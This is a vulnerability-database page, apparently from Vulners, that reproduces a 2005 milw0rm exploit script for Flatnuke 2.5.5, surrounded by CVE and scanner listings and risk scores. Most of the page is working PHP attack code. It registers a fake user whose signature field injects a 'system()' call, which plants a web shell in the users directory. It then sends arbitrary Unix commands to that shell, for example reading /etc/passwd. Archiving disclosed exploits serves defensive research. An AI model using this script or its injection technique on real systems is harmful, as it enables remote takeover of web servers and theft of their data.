Vulners
Lucene search
Flatnuke 2.5.5 - Remote Code Execution
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | FlatNuke < 2.5.6 Multiple XSS | 8 Aug 200500:00 | – | nessus |
| FlatNuke < 2.5.7 index.php Traversal File Inclusion | 25 Oct 200500:00 | – | nessus |
| FlatNuke < 2.5.6 Multiple Remote Vulnerabilities | 8 Aug 200500:00 | – | nessus |
| FlatNuke index.php id Parameter Traversal Arbitrary File Access | 12 Dec 200500:00 | – | nessus |
 | CVE-2005-2540 | 10 Aug 200504:00 | – | cve |
| CVE-2005-4208 | 13 Dec 200511:00 | – | cve |
 | CVE-2005-2540 | 10 Aug 200504:00 | – | cvelist |
| CVE-2005-4208 | 13 Dec 200511:00 | – | cvelist |
 | Flatnuke 2.5.6 - Privilege Escalation / Remote Command Execution | 10 Dec 200500:00 | – | exploitdb |
 | EUVD-2005-2541 | 7 Oct 202500:30 | – | euvd |
10
<?php
/* Aug 2005, 4th
Flatnuke 2.5.5 (possibly prior versions) remote code execution
by rgod
site: http://rgod.altervista.org
thanks to UlisseHacker... :)
make these changes in php.ini if you have troubles
with this script:
allow_call_time_pass_reference = on
register_globals = on */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>FlatNuke 2.5.5 remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">FlatNuke 2.5.5 (possibly prior versions) remote commands execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post" action="'.$SERVER['PHP_SELF'].'?path=value&host=value&port=value&command=value&proxy=value">
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /flatnuke/forum/ or /forum/ just /) </span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value) </span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
$data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&[email protected]&homep=".urlencode('http://www.asite.com')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);');
if ($proxy=='')
{$packet="POST ".$path."index.php HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."index.php?op=vis_reg\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
fclose($fp);
echo nl2br(htmlentities($data));
if ($proxy=='')
{$packet="GET ".$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{$packet="GET http://".$host.$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{ $data='';
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
{echo 'Exploit sent...<br> If Flatnuke is unpatched and vulnerable <br>';
echo 'you will see '.htmlentities($command).' output inside HTML...<br><br>';
}
else
{echo 'Error, see output...';}
echo nl2br(htmlentities($data));
}
?>
# milw0rm.com [2005-08-08]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Aug 2005 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 25
EPSS0.0833